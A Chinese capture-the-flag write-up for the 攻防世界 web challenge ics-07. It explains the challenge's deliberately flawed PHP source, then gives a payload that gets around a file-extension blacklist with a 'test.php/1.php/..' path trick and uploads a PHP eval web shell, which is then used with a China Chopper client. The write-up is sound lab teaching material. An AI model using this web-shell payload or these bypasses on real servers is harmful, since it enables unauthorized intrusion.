zoukankan      html  css  js  c++  java
  • 攻防世界-web-ics-07(PHP弱类型、linux目录结构特性绕过文件类型过滤)

    工控云管理系统项目管理页面解析漏洞。

    进入题目后,点击进入项目管理页面。

    点击view-source查看源码。

    <!DOCTYPE html>
    <html>
      <head>
        <meta charset="utf-8">
        <title>cetc7</title>
      </head>
      <body>
        <?php
        session_start();
    
        if (!isset($_GET[page])) {
          show_source(__FILE__);
          die();
        }
    
        if (isset($_GET[page]) && $_GET[page] != 'index.php') {
          include('flag.php');
        }else {
          header('Location: ?page=flag.php');
        }
    
        ?>
    
        <form action="#" method="get">
          page : <input type="text" name="page" value="">
          id : <input type="text" name="id" value="">
          <input type="submit" name="submit" value="submit">
        </form>
        <br />
        <a href="index.phps">view-source</a>
    
        <?php
         if ($_SESSION['admin']) {
           $con = $_POST['con'];
           $file = $_POST['file'];
           $filename = "backup/".$file;
    
           if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
              die("Bad file extension");
           }else{
                chdir('uploaded');
               $f = fopen($filename, 'w');
               fwrite($f, $con);
               fclose($f);
           }
         }
         ?>
    
        <?php
          if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
            include 'config.php';
            $id = mysql_real_escape_string($_GET[id]);
            $sql="select * from cetc007.user where id='$id'";
            $result = mysql_query($sql);
            $result = mysql_fetch_object($result);
          } else {
            $result = False;
            die();
          }
    
          if(!$result)die("<br >something wae wrong ! <br>");
          if($result){
            echo "id: ".$result->id."</br>";
            echo "name:".$result->user."</br>";
            $_SESSION['admin'] = True;
          }
         ?>
    
      </body>
    </html>
    View Code

    1 代码解析:发现漏洞

    下面对代码进行解析。关键代码有3段。

    第一段

    如果传入的参数page的值不是index.php,则包含flag.php,否则重定向到?page=flag.php。

        <?php
        session_start();
    
        if (!isset($_GET[page])) {
          show_source(__FILE__);
          die();
        }
    
        if (isset($_GET[page]) && $_GET[page] != 'index.php') {
          include('flag.php');
        }else {
          header('Location: ?page=flag.php');
        }
    
        ?>

    第二段

    $_SESSION['admin'] = True的情况下,POST提交con和file两个参数,对$filename进行正则判断,如果判断正确文件会被上传到uploaded/backup目录下。正则匹配这里把一些后缀加入了黑名单

        <?php
         if ($_SESSION['admin']) {
           $con = $_POST['con'];
           $file = $_POST['file'];
           $filename = "backup/".$file;
    
           if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
              die("Bad file extension");
           }else{
                chdir('uploaded');
               $f = fopen($filename, 'w');
               fwrite($f, $con);
               fclose($f);
           }
         }
         ?>

    第三段

    这一段可以使$_SESSION['admin'] = True;我们来看一下怎么构造。他需要获取一个id参数, 并且id不为1,且最后一位等于9。
    这里用到了floatval这个函数,floatval 函数用于获取变量的浮点值,但是floatval在遇到字符时会截断后面的部分,比如-,+,空格等,所以可以构造id=1 9来满足第一个if条件,if条件满足可以使得$result变量为TRUE。成功使$_SESSION['admin'] = True;

        <?php
          if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
            include 'config.php';
            $id = mysql_real_escape_string($_GET[id]);
            $sql="select * from cetc007.user where id='$id'";
            $result = mysql_query($sql);
            $result = mysql_fetch_object($result);
          } else {
            $result = False;
            die();
          }
    
          if(!$result)die("<br >something wae wrong ! <br>");
          if($result){
            echo "id: ".$result->id."</br>";
            echo "name:".$result->user."</br>";
            $_SESSION['admin'] = True;
          }
         ?>

    2 构造payload:上传木马

    下面考虑如何上传木马文件。这里利用Linux的一个目录结构特性。我们递归的在1.php文件夹中再创建2.php,访问1.php/2.php/..进入的是1.php文件夹

    payloa如下

    con=<?php @eval($_POST[muma]);?>&file=test.php/1.php/..

    注意这里page参数的值不能为flag.php,否则是上传不成功的。

    访问/uploaded/backup/目录,发现上传成功。

    3 菜刀连接:获取flag

    上菜刀。

    参考:https://www.cnblogs.com/HelloCTF/p/13188482.html

  • 相关阅读:
    redis发布订阅
    CSS 布局
    CSS 布局
    CSS Float(浮动)实例
    CSS 布局
    CSS Float(浮动)
    CSS Position(定位)实例
    CSS Position(定位)
    CSS Display(显示) 与 Visibility(可见性)实例
    CSS Display(显示) 与 Visibility(可见性)
  • 原文地址:https://www.cnblogs.com/zhengna/p/13452813.html
Copyright © 2011-2022 走看看